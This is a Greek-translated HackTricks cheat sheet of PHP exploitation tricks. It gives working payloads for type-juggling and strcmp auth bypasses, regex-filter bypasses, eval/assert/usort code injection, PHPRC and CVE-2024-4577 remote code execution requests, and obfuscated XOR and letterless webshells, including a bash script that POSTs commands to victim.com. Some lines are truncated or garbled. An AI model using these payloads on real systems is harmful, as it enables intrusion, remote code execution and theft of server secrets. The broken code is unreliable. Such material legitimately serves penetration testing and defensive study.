PHP Tricks
Reading time: 19 minutes
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Κοινή τοποθεσία Cookies:
Αυτό ισχύει επίσης για τα cookies του phpMyAdmin.
Cookies:
PHPSESSID
phpMyAdmin
Τοποθεσίες:
/var/lib/php/sessions
/var/lib/php5/
/tmp/
Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e
Παράκαμψη συγκρίσεων PHP
Χαλαρές συγκρίσεις/Τύποι Juggling ( == )
Αν χρησιμοποιηθεί το ==
στην PHP, τότε υπάρχουν απρόσμενες περιπτώσεις όπου η σύγκριση δεν συμπεριφέρεται όπως αναμένεται. Αυτό συμβαίνει επειδή το "==" συγκρίνει μόνο τιμές που έχουν μετατραπεί στον ίδιο τύπο, αν θέλετε επίσης να συγκρίνετε ότι ο τύπος των συγκρινόμενων δεδομένων είναι ο ίδιος, πρέπει να χρησιμοποιήσετε το ===
.
Πίνακες συγκρίσεων PHP: https://www.php.net/manual/en/types.comparisons.php
"string" == 0 -> True
Μια συμβολοσειρά που δεν ξεκινά με αριθμό είναι ίση με έναν αριθμό"0xAAAA" == "43690" -> True
Συμβολοσειρές που αποτελούνται από αριθμούς σε δεκαδική ή εξηρητική μορφή μπορούν να συγκριθούν με άλλους αριθμούς/συμβολοσειρές με αποτέλεσμα True αν οι αριθμοί ήταν οι ίδιοι (οι αριθμοί σε μια συμβολοσειρά ερμηνεύονται ως αριθμοί)"0e3264578" == 0 --> True
Μια συμβολοσειρά που ξεκινά με "0e" και ακολουθείται από οτιδήποτε θα είναι ίση με 0"0X3264578" == 0X --> True
Μια συμβολοσειρά που ξεκινά με "0" και ακολουθείται από οποιοδήποτε γράμμα (το X μπορεί να είναι οποιοδήποτε γράμμα) και ακολουθείται από οτιδήποτε θα είναι ίση με 0"0e12334" == "0" --> True
Αυτό είναι πολύ ενδιαφέρον γιατί σε ορισμένες περιπτώσεις μπορείτε να ελέγξετε την είσοδο της συμβολοσειράς "0" και κάποιο περιεχόμενο που έχει κατακερματιστεί και συγκρίνεται με αυτό. Επομένως, αν μπορείτε να παρέχετε μια τιμή που θα δημιουργήσει έναν κατακερματισμό που ξεκινά με "0e" και χωρίς κανένα γράμμα, θα μπορούσατε να παρακάμψετε τη σύγκριση. Μπορείτε να βρείτε ήδη κατακερματισμένες συμβολοσειρές με αυτό το φορμά εδώ: https://github.com/spaze/hashes"X" == 0 --> True
Οποιοδήποτε γράμμα σε μια συμβολοσειρά είναι ίσο με int 0
Περισσότερες πληροφορίες στο https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09
in_array()
Τύποι Juggling επηρεάζουν επίσης τη λειτουργία in_array()
από προεπιλογή (πρέπει να ορίσετε σε true το τρίτο επιχείρημα για να κάνετε μια αυστηρή σύγκριση):
$values = array("apple","orange","pear","grape");
var_dump(in_array(0, $values));
//True
var_dump(in_array(0, $values, true));
//False
strcmp()/strcasecmp()
Αν αυτή η συνάρτηση χρησιμοποιείται για οποιονδήποτε έλεγχο αυθεντικοποίησης (όπως ο έλεγχος του κωδικού πρόσβασης) και ο χρήστης ελέγχει τη μία πλευρά της σύγκρισης, μπορεί να στείλει έναν κενό πίνακα αντί για μια συμβολοσειρά ως την τιμή του κωδικού πρόσβασης (https://example.com/login.php/?username=admin&password[]=
) και να παρακάμψει αυτόν τον έλεγχο:
if (!strcmp("real_pwd","real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password
if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password
Η ίδια σφάλμα συμβαίνει με το strcasecmp()
Αυστηρός τύπος Juggling
Ακόμα και αν το ===
χρησιμοποιείται μπορεί να υπάρχουν σφάλματα που καθιστούν τη σύγκριση ευάλωτη σε τύπο juggling. Για παράδειγμα, αν η σύγκριση μετατρέπει τα δεδομένα σε διαφορετικό τύπο αντικειμένου πριν από τη σύγκριση:
(int) "1abc" === (int) "1xyz" //This will be true
preg_match(/^.*/)
preg_match()
μπορεί να χρησιμοποιηθεί για να επικυρώσει την είσοδο του χρήστη (ελέγχει αν οποιαδήποτε λέξη/regex από μια μαύρη λίστα είναι παρούσα στην είσοδο του χρήστη και αν δεν είναι, ο κώδικας μπορεί να συνεχίσει την εκτέλεσή του).
New line bypass
Ωστόσο, όταν καθορίζεται η αρχή της regexp preg_match()
ελέγχει μόνο την πρώτη γραμμή της εισόδου του χρήστη, τότε αν με κάποιο τρόπο μπορείτε να στείλετε την είσοδο σε πολλές γραμμές, θα μπορούσατε να παρακάμψετε αυτόν τον έλεγχο. Παράδειγμα:
$myinput="aaaaaaa
11111111"; //Notice the new line
echo preg_match("/1/",$myinput);
//1 --> In this scenario preg_match find the char "1"
echo preg_match("/1.*$/",$myinput);
//1 --> In this scenario preg_match find the char "1"
echo preg_match("/^.*1/",$myinput);
//0 --> In this scenario preg_match DOESN'T find the char "1"
echo preg_match("/^.*1.*$/",$myinput);
//0 --> In this scenario preg_match DOESN'T find the char "1"
Για να παρακάμψετε αυτόν τον έλεγχο, μπορείτε να στείλετε την τιμή με νέες γραμμές urlencoded (%0A
) ή αν μπορείτε να στείλετε δεδομένα JSON, στείλτε τα σε πολλές γραμμές:
{
"cmd": "cat /etc/passwd"
}
Βρείτε ένα παράδειγμα εδώ: https://ramadistra.dev/fbctf-2019-rceservice
Παράκαμψη σφάλματος μήκους
(Αυτή η παράκαμψη δοκιμάστηκε προφανώς σε PHP 5.2.5 και δεν μπόρεσα να την κάνω να λειτουργήσει σε PHP 7.3.15)
Αν μπορείτε να στείλετε στο preg_match()
μια έγκυρη πολύ μεγάλη είσοδο, δεν θα μπορεί να την επεξεργαστεί και θα μπορείτε να παρακάμψετε τον έλεγχο. Για παράδειγμα, αν αποκλείει ένα JSON, θα μπορούσατε να στείλετε:
payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'
From: https://medium.com/bugbountywriteup/solving-each-and-every-fb-ctf-challenge-part-1-4bce03e2ecb0
ReDoS Bypass
Trick from: https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223 and https://mizu.re/post/pong
.png)
Συνοπτικά, το πρόβλημα συμβαίνει επειδή οι preg_*
συναρτήσεις στην PHP βασίζονται στη βιβλιοθήκη PCRE. Στην PCRE, ορισμένες κανονικές εκφράσεις ταιριάζουν χρησιμοποιώντας πολλές αναδρομικές κλήσεις, οι οποίες καταναλώνουν πολύ χώρο στο στοίβα. Είναι δυνατόν να οριστεί ένα όριο στον αριθμό των επιτρεπόμενων αναδρομών, αλλά στην PHP αυτό το όριο προεπιλέγεται σε 100.000, το οποίο είναι περισσότερο από ό,τι χωράει στο στοίβα.
Αυτή η συζήτηση στο Stackoverflow συνδέθηκε επίσης στην ανάρτηση όπου συζητείται πιο αναλυτικά αυτό το ζήτημα. Η αποστολή μας ήταν τώρα σαφής:
Στείλτε μια είσοδο που θα κάνει την κανονική έκφραση να εκτελέσει 100_000+ αναδρομές, προκαλώντας SIGSEGV, κάνοντάς την preg_match()
να επιστρέψει false
, κάνοντάς την εφαρμογή να νομίζει ότι η είσοδός μας δεν είναι κακόβουλη, ρίχνοντας την έκπληξη στο τέλος του payload κάτι σαν {system(<verybadcommand>)}
για να αποκτήσουμε SSTI --> RCE --> flag :).
Λοιπόν, σε όρους regex, στην πραγματικότητα δεν κάνουμε 100k "αναδρομές", αλλά μετράμε "βήματα οπισθοχώρησης", τα οποία όπως δηλώνει η τεκμηρίωση PHP προεπιλέγεται σε 1_000_000 (1M) στη μεταβλητή pcre.backtrack_limit
.\
Για να φτάσουμε σε αυτό, 'X'*500_001
θα έχει ως αποτέλεσμα 1 εκατομμύριο βήματα οπισθοχώρησης (500k προς τα εμπρός και 500k προς τα πίσω):
payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"
Type Juggling για την απόκρυψη PHP
$obfs = "1"; //string "1"
$obfs++; //int 2
$obfs += 0.2; //float 2.2
$obfs = 1 + "7 IGNORE"; //int 8
$obfs = "string" + array("1.1 striiing")[0]; //float 1.1
$obfs = 3+2 * (TRUE + TRUE); //int 7
$obfs .= ""; //string "7"
$obfs += ""; //int 7
Execute After Redirect (EAR)
Αν το PHP ανακατευθύνει σε άλλη σελίδα αλλά καμία die
ή exit
συνάρτηση δεν είναι καλεσμένη μετά την κεφαλίδα Location
, το PHP συνεχίζει να εκτελεί και να προσθέτει τα δεδομένα στο σώμα:
<?php
// In this page the page will be read and the content appended to the body of
// the redirect response
$page = $_GET['page'];
header('Location: /index.php?page=default.html');
readfile($page);
?>
Path Traversal and File Inclusion Exploitation
Check:
More tricks
- register_globals: Στο PHP < 4.1.1.1 ή αν είναι κακορυθμισμένο, το register_globals μπορεί να είναι ενεργό (ή η συμπεριφορά του να μιμείται). Αυτό σημαίνει ότι σε παγκόσμιες μεταβλητές όπως το $_GET αν έχουν μια τιμή π.χ. $_GET["param"]="1234", μπορείτε να την αποκτήσετε μέσω του $param. Επομένως, στέλνοντας HTTP παραμέτρους μπορείτε να αντικαταστήσετε μεταβλητές που χρησιμοποιούνται μέσα στον κώδικα.
- Τα PHPSESSION cookies του ίδιου τομέα αποθηκεύονται στην ίδια θέση, επομένως αν μέσα σε έναν τομέα χρησιμοποιούνται διαφορετικά cookies σε διαφορετικά paths μπορείτε να κάνετε ένα path να αποκτά πρόσβαση στο cookie του άλλου path ρυθμίζοντας την τιμή του cookie του άλλου path.
Με αυτόν τον τρόπο αν και τα δύο paths αποκτούν πρόσβαση σε μια μεταβλητή με το ίδιο όνομα μπορείτε να κάνετε την τιμή αυτής της μεταβλητής στο path1 να ισχύει για το path2. Και τότε το path2 θα θεωρεί έγκυρες τις μεταβλητές του path1 (δίνοντας στο cookie το όνομα που αντιστοιχεί σε αυτό στο path2). - Όταν έχετε τα usernames των χρηστών της μηχανής. Ελέγξτε τη διεύθυνση: /~<USERNAME> για να δείτε αν οι php φάκελοι είναι ενεργοποιημένοι.
- Αν μια ρύθμιση php έχει
register_argc_argv = On
τότε οι παράμετροι ερωτήματος που χωρίζονται με κενά χρησιμοποιούνται για να γεμίσουν τον πίνακα των επιχειρημάτωνarray_keys($_SERVER['argv'])
όπως αν ήταν επιχειρήματα από το CLI. Αυτό είναι ενδιαφέρον γιατί αν αυτή η ρύθμιση είναι απενεργοποιημένη, η τιμή του args array θα είναιNull
όταν καλείται από το web καθώς ο πίνακας ars δεν θα γεμίσει. Επομένως, αν μια ιστοσελίδα προσπαθήσει να ελέγξει αν εκτελείται ως web ή ως εργαλείο CLI με μια σύγκριση όπωςif (empty($_SERVER['argv'])) {
ένας επιτιθέμενος θα μπορούσε να στείλει παραμέτρους στο GET αίτημα όπως?--configPath=/lalala
και θα νομίζει ότι εκτελείται ως CLI και πιθανώς να αναλύσει και να χρησιμοποιήσει αυτές τις παραμέτρους. Περισσότερες πληροφορίες στο original writeup. - LFI and RCE using php wrappers
password_hash/password_verify
Αυτές οι συναρτήσεις χρησιμοποιούνται συνήθως στο PHP για να δημιουργούν hashes από κωδικούς πρόσβασης και για να ελέγχουν αν ένας κωδικός πρόσβασης είναι σωστός σε σύγκριση με ένα hash.
Οι υποστηριζόμενοι αλγόριθμοι είναι: PASSWORD_DEFAULT
και PASSWORD_BCRYPT
(ξεκινά με $2y$
). Σημειώστε ότι PASSWORD_DEFAULT είναι συχνά το ίδιο με PASSWORD_BCRYPT. Και αυτή τη στιγμή, PASSWORD_BCRYPT έχει περιορισμό μεγέθους στην είσοδο των 72bytes. Επομένως, όταν προσπαθείτε να κάνετε hash κάτι μεγαλύτερο από 72bytes με αυτόν τον αλγόριθμο, μόνο τα πρώτα 72B θα χρησιμοποιηθούν:
$cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
False
$cont=72; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
True
HTTP headers bypass abusing PHP errors
Causing error after setting headers
From this twitter thread μπορείτε να δείτε ότι η αποστολή περισσότερων από 1000 GET παραμέτρων ή 1000 POST παραμέτρων ή 20 αρχείων, το PHOP δεν θα ρυθμίσει τις κεφαλίδες στην απόκριση.
Επιτρέποντας να παρακαμφθούν για παράδειγμα οι κεφαλίδες CSP που ρυθμίζονται σε κώδικες όπως:
<?php
header("Content-Security-Policy: default-src 'none';");
if (isset($_GET["xss"])) echo $_GET["xss"];
Συμπλήρωση ενός σώματος πριν από την ρύθμιση των κεφαλίδων
Αν μια σελίδα PHP εκτυπώνει σφάλματα και επιστρέφει κάποια είσοδο που παρέχεται από τον χρήστη, ο χρήστης μπορεί να κάνει τον PHP server να εκτυπώσει κάποια περιεχόμενα αρκετά μεγάλα ώστε όταν προσπαθήσει να προσθέσει τις κεφαλίδες στην απάντηση, ο server να ρίξει ένα σφάλμα.
Στο παρακάτω σενάριο, ο επιτιθέμενος έκανε τον server να ρίξει κάποια μεγάλα σφάλματα, και όπως μπορείτε να δείτε στην οθόνη, όταν η PHP προσπάθησε να τροποποιήσει τις πληροφορίες κεφαλίδας, δεν μπόρεσε (έτσι για παράδειγμα η κεφαλίδα CSP δεν στάλθηκε στον χρήστη):
SSRF σε συναρτήσεις PHP
Ελέγξτε τη σελίδα:
Εκτέλεση κώδικα
system("ls");
`ls`;
shell_exec("ls");
Ελέγξτε αυτό για περισσότερες χρήσιμες συναρτήσεις PHP
RCE μέσω preg_replace()
preg_replace(pattern,replace,base)
preg_replace("/a/e","phpinfo()","whatever")
Για να εκτελέσετε τον κώδικα στο επιχείρημα "replace" απαιτείται τουλάχιστον μία αντιστοίχιση.
Αυτή η επιλογή του preg_replace έχει καταργηθεί από την PHP 5.5.0.
RCE μέσω Eval()
'.system('uname -a'); $dummy='
'.system('uname -a');#
'.system('uname -a');//
'.phpinfo().'
<?php phpinfo(); ?>
RCE μέσω Assert()
Αυτή η συνάρτηση μέσα στο php σας επιτρέπει να εκτελείτε κώδικα που είναι γραμμένος σε μια συμβολοσειρά προκειμένου να επιστρέφετε true ή false (και ανάλογα με αυτό να αλλάξετε την εκτέλεση). Συνήθως η μεταβλητή χρήστη θα εισαχθεί στη μέση μιας συμβολοσειράς. Για παράδειγμα:
assert("strpos($_GET['page']),'..') === false")
--> Σε αυτή την περίπτωση για να αποκτήσετε RCE θα μπορούσατε να κάνετε:
?page=a','NeVeR') === false and system('ls') and strpos('a
Θα χρειαστεί να σπάσετε τη σύνταξη του κώδικα, να προσθέσετε το payload σας και στη συνέχεια να το διορθώσετε ξανά. Μπορείτε να χρησιμοποιήσετε λογικές λειτουργίες όπως "and" ή "%26%26" ή "|". Σημειώστε ότι "or", "||" δεν λειτουργεί γιατί αν η πρώτη συνθήκη είναι αληθής, το payload μας δεν θα εκτελεστεί. Με τον ίδιο τρόπο, το ";" δεν λειτουργεί καθώς το payload μας δεν θα εκτελεστεί.
Άλλη επιλογή είναι να προσθέσετε στη συμβολοσειρά την εκτέλεση της εντολής: '.highlight_file('.passwd').'
Άλλη επιλογή (αν έχετε τον εσωτερικό κώδικα) είναι να τροποποιήσετε κάποια μεταβλητή για να αλλάξετε την εκτέλεση: $file = "hola"
RCE μέσω usort()
Αυτή η συνάρτηση χρησιμοποιείται για να ταξινομήσει έναν πίνακα στοιχείων χρησιμοποιώντας μια συγκεκριμένη συνάρτηση.
Για να εκμεταλλευτείτε αυτή τη συνάρτηση:
<?php usort(VALUE, "cmp"); #Being cmp a valid function ?>
VALUE: );phpinfo();#
<?php usort();phpinfo();#, "cmp"); #Being cmp a valid function ?>
<?php
function foo($x,$y){
usort(VALUE, "cmp");
}?>
VALUE: );}[PHP CODE];#
<?php
function foo($x,$y){
usort();}phpinfo;#, "cmp");
}?>
Μπορείτε επίσης να χρησιμοποιήσετε // για να σχολιάσετε το υπόλοιπο του κώδικα.
Για να ανακαλύψετε τον αριθμό των παρενθέσεων που πρέπει να κλείσετε:
?order=id;}//
: λαμβάνουμε ένα μήνυμα σφάλματος (Parse error: syntax error, unexpected ';'
). Πιθανώς μας λείπει μία ή περισσότερες αγκύλες.?order=id);}//
: λαμβάνουμε μια προειδοποίηση. Αυτό φαίνεται σωστό.?order=id));}//
: λαμβάνουμε ένα μήνυμα σφάλματος (Parse error: syntax error, unexpected ')' i
). Πιθανώς έχουμε πάρα πολλές κλειστές αγκύλες.
RCE μέσω .httaccess
Αν μπορείτε να ανεβάσετε ένα .htaccess, τότε μπορείτε να ρυθμίσετε διάφορα πράγματα και ακόμη και να εκτελέσετε κώδικα (ρυθμίζοντας ότι τα αρχεία με επέκταση .htaccess μπορούν να εκτελούνται).
Διαφορετικά .htaccess shells μπορούν να βρεθούν εδώ
RCE μέσω Env Variables
Αν βρείτε μια ευπάθεια που σας επιτρέπει να τροποποιήσετε τις env variables στο PHP (και μια άλλη για να ανεβάσετε αρχεία, αν και με περισσότερη έρευνα ίσως αυτό μπορεί να παρακαμφθεί), θα μπορούσατε να εκμεταλλευτείτε αυτή τη συμπεριφορά για να αποκτήσετε RCE.
LD_PRELOAD
: Αυτή η env variable σας επιτρέπει να φορτώνετε αυθαίρετες βιβλιοθήκες κατά την εκτέλεση άλλων δυαδικών αρχείων (αν και σε αυτή την περίπτωση μπορεί να μην λειτουργήσει).PHPRC
: Δίνει οδηγίες στο PHP για πού να εντοπίσει το αρχείο ρύθμισης του, που συνήθως ονομάζεταιphp.ini
. Αν μπορείτε να ανεβάσετε το δικό σας αρχείο ρύθμισης, τότε, χρησιμοποιήστε τοPHPRC
για να δείξετε στο PHP σε αυτό. Προσθέστε μια είσοδοauto_prepend_file
που να καθορίζει ένα δεύτερο ανεβασμένο αρχείο. Αυτό το δεύτερο αρχείο περιέχει κανονικό PHP κώδικα, ο οποίος εκτελείται από το PHP runtime πριν από οποιονδήποτε άλλο κώδικα.
- Ανεβάστε ένα αρχείο PHP που περιέχει τον κώδικα shell μας
- Ανεβάστε ένα δεύτερο αρχείο, που περιέχει μια οδηγία
auto_prepend_file
που δίνει εντολή στον προεπεξεργαστή PHP να εκτελέσει το αρχείο που ανεβάσαμε στο βήμα 1 - Ρυθμίστε τη μεταβλητή
PHPRC
στο αρχείο που ανεβάσαμε στο βήμα 2.
- Αποκτήστε περισσότερες πληροφορίες σχετικά με το πώς να εκτελέσετε αυτή την αλυσίδα από την αρχική αναφορά.
- PHPRC - άλλη επιλογή
- Αν δεν μπορείτε να ανεβάσετε αρχεία, μπορείτε να χρησιμοποιήσετε στο FreeBSD το "αρχείο"
/dev/fd/0
που περιέχει τοstdin
, που είναι το σώμα του αιτήματος που αποστέλλεται στοstdin
: curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'
- Ή για να αποκτήσετε RCE, ενεργοποιήστε το
allow_url_include
και προσθέστε ένα αρχείο με base64 PHP κώδικα: curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'
- Τεχνική από αυτή την αναφορά.
XAMPP CGI RCE - CVE-2024-4577
Ο webserver αναλύει τα HTTP αιτήματα και τα περνά σε ένα PHP script εκτελώντας ένα αίτημα όπως http://host/cgi.php?foo=bar
ως php.exe cgi.php foo=bar
, το οποίο επιτρέπει την έγχυση παραμέτρων. Αυτό θα επέτρεπε την έγχυση των παρακάτω παραμέτρων για να φορτώσει τον PHP κώδικα από το σώμα:
-d allow_url_include=1 -d auto_prepend_file=php://input
Επιπλέον, είναι δυνατόν να εισαχθεί η παράμετρος "-" χρησιμοποιώντας τον χαρακτήρα 0xAD λόγω της μεταγενέστερης κανονικοποίησης του PHP. Ελέγξτε το παράδειγμα εκμετάλλευσης από αυτή την ανάρτηση:
POST /test.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
Host: {{host}}
User-Agent: curl/8.3.0
Accept: */*
Content-Length: 23
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
<?php
phpinfo();
?>
PHP Sanitization bypass & Brain Fuck
Σε αυτή την ανάρτηση είναι δυνατόν να βρείτε εξαιρετικές ιδέες για να δημιουργήσετε έναν κώδικα brain fuck PHP με πολύ λίγους επιτρεπόμενους χαρακτήρες.
Επιπλέον, προτείνεται επίσης ένας ενδιαφέρον τρόπος για να εκτελούνται συναρτήσεις που τους επέτρεψαν να παρακάμψουν αρκετούς ελέγχους:
(1)->{system($_GET[chr(97)])}
PHP Στατική ανάλυση
Κοίτα αν μπορείς να εισάγεις κώδικα σε κλήσεις αυτών των συναρτήσεων (από εδώ):
exec, shell_exec, system, passthru, eval, popen
unserialize, include, file_put_cotents
$_COOKIE | if #This mea
Αν κάνετε αποσφαλμάτωση μιας εφαρμογής PHP, μπορείτε να ενεργοποιήσετε παγκοσμίως την εκτύπωση σφαλμάτων στο /etc/php5/apache2/php.ini
προσθέτοντας display_errors = On
και να επανεκκινήσετε τον apache: sudo systemctl restart apache2
Αποσυμπίεση κώδικα PHP
Μπορείτε να χρησιμοποιήσετε το web www.unphp.net για να αποσυμπιέσετε κώδικα php.
PHP Wrappers & Πρωτόκολλα
Οι PHP Wrappers και τα πρωτόκολλα θα μπορούσαν να σας επιτρέψουν να παρακάμψετε τις προστασίες εγγραφής και ανάγνωσης σε ένα σύστημα και να το συμβιβάσετε. Για περισσότερες πληροφορίες ελέγξτε αυτή τη σελίδα.
Xdebug μη εξουσιοδοτημένο RCE
Αν δείτε ότι το Xdebug είναι ενεργοποιημένο σε μια έξοδο phpconfig()
, θα πρέπει να προσπαθήσετε να αποκτήσετε RCE μέσω https://github.com/nqxcode/xdebug-exploit
Μεταβλητές μεταβλητών
$x = 'Da';
$$x = 'Drums';
echo $x; //Da
echo $$x; //Drums
echo $Da; //Drums
echo "${Da}"; //Drums
echo "$x ${$x}"; //Da Drums
echo "$x ${Da}"; //Da Drums
RCE εκμετάλλευση νέου $_GET["a"]($_GET["b")
Αν σε μια σελίδα μπορείς να δημιουργήσεις ένα νέο αντικείμενο μιας αυθαίρετης κλάσης, μπορεί να μπορέσεις να αποκτήσεις RCE, έλεγξε την παρακάτω σελίδα για να μάθεις πώς:
PHP - RCE abusing object creation: new $_GET"a"
Εκτέλεση PHP χωρίς γράμματα
https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/
Χρησιμοποιώντας οκταδικά
$_="\163\171\163\164\145\155(\143\141\164\40\56\160\141\163\163\167\144)"; #system(cat .passwd);
XOR
$_=("%28"^"[").("%33"^"[").("%34"^"[").("%2c"^"[").("%04"^"[").("%28"^"[").("%34"^"[").("%2e"^"[").("%29"^"[").("%38"^"[").("%3e"^"["); #show_source
$__=("%0f"^"!").("%2f"^"_").("%3e"^"_").("%2c"^"_").("%2c"^"_").("%28"^"_").("%3b"^"_"); #.passwd
$___=$__; #Could be not needed inside eval
$_($___); #If ¢___ not needed then $_($__), show_source(.passwd)
XOR easy shell code
Σύμφωνα με αυτή την αναφορά είναι δυνατόν να παραχθεί ένα εύκολο shellcode με αυτόν τον τρόπο:
$_="`{{{"^"?<>/"; // $_ = '_GET';
${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);
$_="`{{{"^"?<>/";${$_}[_](${$_}[__]); // $_ = '_GET'; $_GET[_]($_GET[__]);
Έτσι, αν μπορείτε να εκτελέσετε αυθαίρετο PHP χωρίς αριθμούς και γράμματα μπορείτε να στείλετε ένα αίτημα όπως το παρακάτω εκμεταλλευόμενοι αυτό το payload για να εκτελέσετε αυθαίρετο PHP:
POST: /action.php?_=system&__=cat+flag.php
Content-Type: application/x-www-form-urlencoded
comando=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);
Για μια πιο λεπτομερή εξήγηση, ελέγξτε https://ctf-wiki.org/web/php/php/#preg_match
XOR Shellcode (inside eval)
#!/bin/bash
if [[ -z $1 ]]; then
echo "USAGE: $0 CMD"
exit
fi
CMD=$1
CODE="\$_='\
lt;>/'^'{{{{';\${\$_}[_](\${\$_}[__]);" `$_='
lt;>/'^'{{{{'; --> _GET` `${$_}[_](${$_}[__]); --> $_GET[_]($_GET[__])` `So, the function is inside $_GET[_] and the parameter is inside $_GET[__]` http --form POST "http://victim.com/index.php?_=system&__=$CMD" "input=$CODE"
Perl like
<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;
$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;
$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.